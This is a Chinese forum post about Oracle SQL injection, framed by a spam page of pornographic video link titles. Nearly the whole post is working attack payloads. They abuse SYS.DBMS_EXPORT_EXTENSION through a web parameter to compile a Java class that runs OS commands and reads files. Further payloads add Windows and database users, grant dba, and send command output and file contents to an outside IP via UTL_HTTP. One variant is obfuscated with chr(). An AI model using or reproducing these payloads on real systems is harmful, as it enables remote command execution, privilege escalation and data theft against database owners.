国产剧情视频在线观看-国产剧情麻豆女教师在线观看-国产剧情精品在线观看-国产剧情精品-国产剧情91-国产玖玖在线观看


曙海教育集團論壇開發語言培訓專區Oracle數據庫 → 犀利的 oracle 注入技術


  共有93371人關注過本帖樹形打印

主題:犀利的 oracle 注入技術

美女呀,離線,留言給我吧!
wangxinxin
  1樓 個性首頁 | 博客 | 信息 | 搜索 | 郵箱 | 主頁 | UC


加好友 發短信
等級:青蜂俠 帖子:1393 積分:14038 威望:0 精華:0 注冊:2010-11-12 11:08:23
犀利的 oracle 注入技術  發帖心情 Post By:2010-12-11 11:04:20

介紹一個在web上通過oracle注入直接取得主機cmdshell的方法。

以下的演示都是在web上的sql plus執行的,在web注入時 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是為了讓語句返回true值)

語句有點長,可能要用post提交。

以下是各個步驟:
1.創建包
通過注入 SYS.DBMS_EXPORT_EXTENSION 函數,在oracle上創建Java包LinxUtil,里面兩個函數,runCMD用于執行系統命令,readFile用于讀取文件:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)

------------------------
如果url有長度限制,可以把readFile()函數塊去掉,即:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同時把后面步驟 提到的 對readFile()的處理語句去掉。
------------------------------
2.賦Java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

4.賦public執行函數的權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual

5.測試上面的幾步是否成功

and '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.執行命令:

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
)

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
)

注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and '1'<>"。
如果要查看運行結果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)

/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意:用UTL_HTTP.request時,要用 REPLACE() 把空格、換行符給替換掉,否則會無法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內部變化
通過以下命令可以查看all_objects表達改變:
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.刪除我們創建的函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual



====================================================
全文結束。謹以此文贈與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn


======================================================================
測試漏洞的另一方法:
創建oracle帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在:
1<>(
select user_id from all_users where username='LINXSQL'
)
給linxsql連接權限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
刪除帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual

======================
以下方法創建一個可以執行多語句的函數Linx_query(),執行成功的話返回數值"1",但權限是繼承的,可能僅僅是public權限,作用似乎不大,真的要用到話可以考慮grant dba to 當前的User:

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ...

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
) and ...
1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
) and ...

1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
select 1 from dual
''; commit; end;') from dual
) and ...

多語句:
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual

創建用戶(除非當前用戶有system權限,否則無法成功):
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
''; commit; end;') from dual


================
以下的方法是先建立函數Linx_Query(),再建立 RunCMD2()
1.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual;

如果有權限,以下語句應該允許正常
select sys.linx_query('select 1 from dual') from dual;
不然的話運行:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
grant dba to 當前的User'''';END;'';END;--','SYS',0,'1',0) from dual


2.創建包
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
3.創建函數
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
4.給權限
給用戶SYSTEM執行權限:
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual

5.執行函數
select RunCMD2('cmd /c dir') from dual

支持(0中立(0反對(0單帖管理 | 引用 | 回復 回到頂部

返回版面帖子列表

犀利的 oracle 注入技術








簽名
国产剧情视频在线观看-国产剧情麻豆女教师在线观看-国产剧情精品在线观看-国产剧情精品-国产剧情91-国产玖玖在线观看
<dfn id="is4kg"></dfn>
  • <ul id="is4kg"></ul>
  • <abbr id="is4kg"></abbr>
  • <ul id="is4kg"></ul>
    <bdo id="is4kg"></bdo>
    91日韩在线视频| 国产精品久久久久久久久免费看 | 欧美日韩亚洲综合一区二区三区激情在线| 欧美国产乱视频| 亚洲最大福利视频网| 自拍偷拍亚洲色图欧美| 91精品久久香蕉国产线看观看| 亚洲欧美日韩精品在线| 91久久嫩草影院一区二区| 亚洲一区三区电影在线观看| 亚洲综合中文字幕68页| 欧美黑人国产人伦爽爽爽| 亚洲japanese制服美女| 国外视频精品毛片| 久久精品国产美女| 国产精品久久在线观看| 夜夜爽99久久国产综合精品女不卡 | 91精品中国老女人| 一区二区三区的久久的视频| 亚洲已满18点击进入在线看片| 在线丝袜欧美日韩制服| 国产精品免费观看高清| 国产成人精品免费久久久久| 亚洲高清乱码| 国产精品污www一区二区三区| 欧美一区二区三区图| 欧美精品一区二区三区四区五区| 国产日本欧美视频| 992tv在线成人免费观看| 久久久影院一区二区三区| 国产精品美女呻吟| 欧美精品福利在线| 精品日产一区2区三区黄免费| 国产精品美女无圣光视频| 午夜精品一区二区三区在线观看| 91久色国产| 国产成人精品久久久| 欧美国产第二页| 鲁丝一区鲁丝二区鲁丝三区| 亚洲影院高清在线| 国产精品电影一区| 高清欧美性猛交xxxx黑人猛交| 久久久一本精品99久久精品| 亚洲va电影大全| 欧洲成人免费视频| 久久久爽爽爽美女图片| 亚洲精品乱码久久久久久蜜桃91 | 国产97色在线|日韩| 亚洲.欧美.日本.国产综合在线| 91精品免费| 国产精品狠色婷| 午夜精品蜜臀一区二区三区免费| 国内精品久久久久影院 日本资源| 国产精品麻豆免费版| 国产第一区电影| 97视频免费在线看| 伊人色综合影院| 免费成人av网站| 国产一区二区三区无遮挡| 成人免费视频网| 国产精品www网站| 2019最新中文字幕| 国内外成人免费激情在线视频| 亚洲第一在线综合在线| 欧洲视频一区二区三区| 久久久久高清| 久久精品国产一区二区三区不卡| 国产精品亚洲综合| 成人羞羞视频免费| 97视频热人人精品| 亚洲一区二区久久久久久| 国产精品一区久久| 国产91精品网站| 欧美一区二区三区四区在线| 91精品国产精品| 欧美韩国理论所午夜片917电影| 日韩在线电影一区| 色一情一区二区三区四区 | 欧美最顶级丰满的aⅴ艳星| 久久久久久成人| 久久久久久久久久久亚洲| 欧美激情一区二区三区成人| 久久久久日韩精品久久久男男| 自拍另类欧美| 亚洲**2019国产| 91成人国产在线观看| 97超级碰碰碰| 国产成人激情小视频| 国产成人精品在线视频| 国产精品美女主播| 91久久久久久久一区二区| 亚洲一区二区三区成人在线视频精品| 亚洲一区精品电影| 国产一区自拍视频| 日本高清不卡一区二区三| 亚洲欧美日韩精品久久久| 永久久久久久| 18性欧美xxxⅹ性满足| 人九九综合九九宗合| 国产精品看片资源| 亚洲最大福利视频网站| 好看的日韩精品视频在线| 欧美日本亚洲| 中文精品视频一区二区在线观看| 97在线视频免费播放| 国产精品黄色av| 亚洲一区二区三区777| 国产精品入口免费| 日韩理论片在线观看| 中文字幕一区二区三区有限公司 | 亚洲字幕在线观看| 国产区日韩欧美| 欧美一进一出视频| 欧美激情一区二区三区成人 | 欧美—级a级欧美特级ar全黄| 午夜精品理论片| 国产97在线|亚洲| 成人精品一区二区三区| 国产成人精品自拍| 亚洲黄色一区二区三区| 欧美专区第一页| 亚洲一区二区三区在线视频| 欧美另类一区| 久久久综合av| 国产有码在线一区二区视频| 久久96国产精品久久99软件| 欧美高清在线播放| 国产精品ⅴa在线观看h| 国产经品一区二区| 亚洲日本理论电影| 国产成人91久久精品| 成人xxxxx色| 视频一区二区三| 热99在线视频| 国产精品免费视频一区二区| 中文字幕欧美人与畜| 国产精品aaaa| 久久久久一区二区| 欧美有码在线视频| 国产精品一区二区三区在线| 欧美激情欧美狂野欧美精品| 91探花福利精品国产自产在线| 欧洲一区二区日韩在线视频观看免费 | 国产一区再线| 正在播放精油久久| 国产一区二区丝袜| 神马影院午夜我不卡影院| 国产成人av在线| 久久精品99久久| 97超碰国产精品女人人人爽| av色综合网| 欧美精品videosex性欧美| 91亚洲国产成人久久精品网站| 欧美一区二区三区电影在线观看| 555www成人网| 黄色小网站91| 欧美专区福利在线| 久久精品一二三区| 国产精品第1页| 欧美日韩成人一区二区三区| 国产精品人人做人人爽| 亚洲成人a**址| 91精品视频观看| 色综合91久久精品中文字幕| 91av免费看| 性色av一区二区三区在线观看| 国产精品久久国产三级国电话系列| 久久久久久中文| 国产欧美一区二区视频 | 亚洲欧洲一区二区在线观看| 国产欧美最新羞羞视频在线观看| 日韩精品欧美在线| 91免费看片在线| 欧美国产日韩xxxxx| 国产高清在线一区二区| 日韩美女视频免费在线观看| 日韩欧美在线一区二区| 亚洲www在线| 91a在线视频| 人偷久久久久久久偷女厕| 成人福利网站在线观看11| 久久久久久久久久久网站| 狠狠久久综合婷婷不卡| 国产精品视频1区| 欧美黄网免费在线观看| 精品欧美国产| 国产美女精品视频| 国模精品视频一区二区| 免费成人看片网址| 91久久久亚洲精品| 午夜精品久久久久久久白皮肤 | 久久综合九色综合网站| 国产精品中文字幕在线| 欧美黑人巨大精品一区二区| 韩国成人av| 91精品久久久久久久久不口人| 久久久久久香蕉网| 日本在线观看一区二区| 丁香五月网久久综合| 国产精品三级美女白浆呻吟| 亚洲97在线观看| 图片区小说区区亚洲五月| 国产视色精品亚洲一区二区| 成人福利免费观看| 国产精品www色诱视频| 久久久久久网站| 色99中文字幕| 蜜桃欧美视频| 国产精品一区二区三区在线| 成人欧美一区二区三区在线湿哒哒 | 国产精品久久二区| 欧美激情一区二区三区在线视频观看| 精品一区二区三区免费毛片| 亚洲一区二区免费在线| 国产精品久久久久久久av大片 | 亚洲伊人成综合成人网| 国产成人一区二区| 97超级碰碰碰| 欧美精品久久久久| 亚洲无玛一区| 日韩hmxxxx| 久久久久久a亚洲欧洲aⅴ| www.成人av| 成人免费网站在线观看| 国产精品香蕉av| 国产精品69精品一区二区三区| 97视频免费看| 久久理论片午夜琪琪电影网| 一区二区在线不卡| 亚洲欧美电影在线观看| 亚洲v欧美v另类v综合v日韩v| 欧美日韩综合另类| 欧美日韩综合网| 欧美日韩免费高清| 欧洲亚洲一区二区三区四区五区| 欧美另类网站| 日本一区二区三区四区高清视频| 蜜桃视频在线观看成人| 久久青青草原一区二区| 久久久久一区二区| 欧美日韩精品免费观看| 日本一区二区三区免费观看| 日本电影一区二区三区| 日韩和欧美的一区二区| 秋霞久久久久久一区二区| 日韩av大全| 一区不卡字幕| 久久久之久亚州精品露出| 国内精品久久久久久久久| 91av在线国产| 国产精品久久一区主播| 成人国产精品久久久| 91免费国产视频| 岛国一区二区三区高清视频| 好吊色欧美一区二区三区视频| 久久99精品久久久久子伦 | 成人91免费视频| 国产精品日韩高清| 久久精品第九区免费观看| 久久资源亚洲| 亚洲精品第一区二区三区| 在线观看免费91| 久久免费视频在线观看| 日韩av第一页| 国产视频观看一区| 成人免费在线一区二区三区| 久久久久一区二区| 亚洲精品在线视频观看| 久久久久一本一区二区青青蜜月| 91成人在线视频| 国产精品视频内| 动漫一区二区在线| 欧美福利一区二区三区| 欧美激情第三页| 国产成人一区二区三区小说| 成人精品久久久| 国产欧美欧洲| 亚洲午夜精品一区二区三区| 5278欧美一区二区三区| 成人欧美一区二区三区在线湿哒哒 | 51久久精品夜色国产麻豆| 国产精品99久久久久久人| 成人做爰www免费看视频网站| 国产欧美一区二区三区不卡高清| 日本10禁啪啪无遮挡免费一区二区 | 韩国福利视频一区| 国产精品美女主播| 高清国语自产拍免费一区二区三区| 裸模一区二区三区免费| 欧美精品第一页在线播放| 国产精品观看在线亚洲人成网| 99久久精品久久久久久ai换脸| 欧美三日本三级少妇三99| 97福利一区二区| 91九色精品视频| 欧美一区二区三区电影在线观看| 午夜视频久久久| 加勒比在线一区二区三区观看 | julia一区二区中文久久94| 欧美一区二区三区成人久久片| 国内精品伊人久久| 亚洲综合精品一区二区| 亚洲国产成人不卡| 国产精品成人v| 精品久久精品久久| 欧美一级视频在线观看| 99久久99久久| 欧美黄色片在线观看| 成人xxxxx| 日韩福利一区二区三区| 国产成人精品一区| 久久精品一二三区| 欧美综合第一页| 精品高清视频| 欧美亚洲第一页| 国产在线精品日韩| 欧美性在线观看| 精品蜜桃一区二区三区| 欧美一区二区三区……| 精品国产福利| 日韩av免费一区| 欧美国产一二三区| 国产精品久久久91| 神马影院我不卡| 国产区亚洲区欧美区| 亚洲欧洲国产日韩精品| 91精品免费视频| 伊人久久大香线蕉av一区| 91在线精品视频| 欧美激情在线观看视频| 99久久精品免费看国产一区二区三区 | 色视频一区二区三区| 国产精品视频自拍| 四虎影院一区二区三区 | 亚洲一区二区三区毛片| 国产日韩欧美自拍| 亚洲一区综合| 成人羞羞视频免费| 日本久久久久久久| 日本高清久久一区二区三区| 国产精品黄页免费高清在线观看| 天堂√在线观看一区二区| 亚洲一区免费网站| 91干在线观看| 茄子视频成人在线观看 | 国产精品一区二区女厕厕| 日韩激情久久| 亚洲最大成人在线| 秋霞午夜一区二区| 色大师av一区二区三区| 99九九电视剧免费观看| 日本一本a高清免费不卡| 日本午夜精品一区二区三区| 99国产视频在线| 国产精品久久久久77777| 伊人久久大香线蕉午夜av| 国产精品一区二区你懂得| 国产成人小视频在线观看| 在线视频亚洲自拍| 精品在线一区| 91在线直播亚洲| 欧亚精品在线观看| 一本色道久久综合亚洲精品婷婷 | 国产精品久久91| 一区视频二区视频| 欧美久久久久久一卡四| 99re资源| 国产在线观看一区二区三区 | 国产精品老女人精品视频| 综合色婷婷一区二区亚洲欧美国产| 国产一区二区黄色| 成人网页在线免费观看| 国产免费一区二区三区在线能观看 | 国产日韩中文字幕| 91大神在线播放精品| 亚洲精品影院| 久久综合给合久久狠狠色| 91网站免费观看| 国产精品综合久久久| 人体精品一二三区| 国产69精品久久久久99| 亚洲v欧美v另类v综合v日韩v| 精品久久久久久中文字幕动漫| 亚洲一区二区在线播放| 成人国产精品久久久| 国产成人精品免高潮费视频| 68精品国产免费久久久久久婷婷| 中文字幕一区二区三区有限公司 | 国产精品中文字幕在线| 清纯唯美日韩制服另类| 久久久久久一区二区三区| 一本一道久久久a久久久精品91 | 欧洲视频一区二区三区| 精品国产二区在线| 国产精品区一区| 超碰97国产在线| 亚洲a区在线视频| 成人精品一区二区三区| 成人疯狂猛交xxx| 国产精品激情自拍| 国产精品久久久久aaaa九色| 国产精品av在线播放| 欧美亚洲激情视频| 青草青草久热精品视频在线网站| 91爱视频在线| 日韩美女视频免费看| 日韩免费在线视频| 婷婷久久伊人| 亚洲aⅴ男人的天堂在线观看| 国产不卡视频在线| 日韩免费在线免费观看| 国产精品久久99久久| 国产精品美女免费| 国产美女直播视频一区| 国产日韩欧美在线播放| 成人乱色短篇合集| 成人av色在线观看| 亚洲自拍偷拍色片视频| 成人免费在线一区二区三区| 国产伦精品一区二区三区照片91| 国产区一区二区三区| 久久久久久99| 少妇免费毛片久久久久久久久| 在线天堂一区av电影| 国内外成人免费激情在线视频网站 | 国产伦精品一区二区三区| 国产乱人伦精品一区二区| 久久99精品久久久久久久久久 | 欧美激情国内偷拍| 97在线观看免费高清| 日本精品久久电影| 国产精品看片资源| 91亚洲国产成人精品性色| 国产91精品一区二区绿帽| 久久精品综合一区| 一本一道久久a久久精品综合| 97精品在线观看| 国产激情综合五月久久| 91九色精品视频| 精品一区二区三区视频日产| 亚洲一区二区三区色| 91国产精品91| 国产精品综合不卡av| 不卡一卡2卡3卡4卡精品在| 免费看污久久久| 正在播放一区二区三区| 青青青国产精品一区二区| 成人黄色影片在线| 精品乱子伦一区二区三区| 亚洲欧洲一二三| 欧美又大又粗又长| 亚洲自拍偷拍福利| 欧美日韩国产三区| 久久久久久国产精品久久| 国产成人欧美在线观看| 国产精品露脸av在线| 91精品久久久久久久久久久久久久| 国产精品av一区| 性欧美大战久久久久久久免费观看| 久久久免费观看视频| 国产精品久久久久久久美男| 国产精品一区视频| 一区二区视频在线免费| 国产精品高清在线| 国产美女精品在线观看| 中日韩在线视频| 国产精品一区二区久久久久| 国内一区二区三区在线视频| 中文字幕一区二区三区四区五区六区| 国产成人福利视频| 国产精品免费在线| 一区二区三区四区欧美| 国产精品美女久久久久久免费| 动漫一区二区在线| 欧美高清视频在线播放| 国产自摸综合网| 欧美午夜精品久久久久久蜜| 91超碰中文字幕久久精品| aa成人免费视频| 亚洲一区综合| 成人黄色免费片| 色女人综合av| 国产日韩在线看片| 日韩三级在线播放| 国产精品网红直播| 日韩欧美一区二区三区四区| 国产精品第1页| 日本午夜精品电影| 国产美女扒开尿口久久久| 日本一区高清不卡| 国产精品一区二区三区在线播放| 日产精品久久久一区二区| 国产精品视频精品视频| 日韩一区二区三区资源| 国产一区红桃视频| 亚洲午夜精品久久久中文影院av | 日本婷婷久久久久久久久一区二区| 欧美中文字幕第一页| 久久久久久久有限公司| 国产精品 欧美在线| 欧美一区二区三区在线播放 | 欧美日本亚洲| 国产精品欧美风情| 亚洲欧美日产图| 亚洲xxxx在线| 97精品一区二区视频在线观看| 国产精品久久久对白| 青草成人免费视频| 日本午夜精品一区二区| 成人免费淫片aa视频免费| 欧美激情国产高清| 精品国产一区二区三区四区精华| 国产精品白嫩初高中害羞小美女 | 国产欧美在线播放| 欧美国产在线视频| 精品无人区一区二区三区| 国产精品久久久久久久av电影| 国产精品美女在线| 91视频网页| 国产99久久精品一区二区| 亚洲国产精品123| av成人午夜| 日韩免费视频在线观看| 亚洲精品中字| 国产伦精品一区二区三区照片91 | 成人黄色免费片| 久久久亚洲欧洲日产国码aⅴ| 精品国产免费人成电影在线观...| 国产成人精品一区二区| 中文字幕乱码一区二区三区| 久久99精品久久久久久秒播放器 | 日韩精品在在线一区二区中文| 成人激情免费在线| 98精品国产高清在线xxxx天堂| 日韩精品久久一区| 国产日韩欧美综合精品| 国产日韩综合一区二区性色av| 欧美极品少妇xxxxⅹ免费视频| 精品国产一区二区三区免费| 91网站在线看| 国产盗摄xxxx视频xxx69| 欧美激情视频在线观看| 日韩欧美一区二区三区四区| 国产精品免费视频一区二区 | 亚洲自拍偷拍网址| 国产精品扒开腿做| 91精品国产91久久久久久| 亚洲精品美女久久7777777| 久久精精品视频| 国产高清自拍一区| 91久久精品国产91性色| 国产精品久久久久99| 欧美亚洲成人免费| 欧美激情视频播放| 亚洲欧美日本国产有色| 欧美专区一二三| 久久久久国产精品视频| 国产精品久久久久久久久久直播| 成人在线视频福利| 国产精品免费视频xxxx| 茄子视频成人在线| 91精品成人久久| 高清欧美一区二区三区 | 51精品国产黑色丝袜高跟鞋| 欧美华人在线视频| 亚洲在线欧美| 亚洲精品成人a8198a| 日本精品一区二区| 欧美一区二区福利| 欧美激情专区| 欧美日本国产精品| 你懂的网址一区二区三区| 久久久久久久有限公司| 久久伊人资源站| 欧美大陆一区二区| 久久99精品久久久久久久久久 | 午夜精品蜜臀一区二区三区免费| 中文字幕日韩精品久久| 永久久久久久| 欧美国产日韩一区二区三区| 欧美国产第二页| 韩国一区二区电影| 欧美性视频网站| 国产aⅴ夜夜欢一区二区三区 | 免费在线一区二区| 欧美大香线蕉线伊人久久| 欧美日韩成人一区二区三区 | 久久久日本电影| 亚州欧美日韩中文视频| 91av视频在线观看| 日本免费一区二区三区视频观看| 日本欧美在线视频| 国产精品亚发布| 亚洲va码欧洲m码| 成人在线看片| 就去色蜜桃综合| 欧洲成人一区二区| 一区二区三区视频| 97在线观看免费高清| 国产成人一区二区|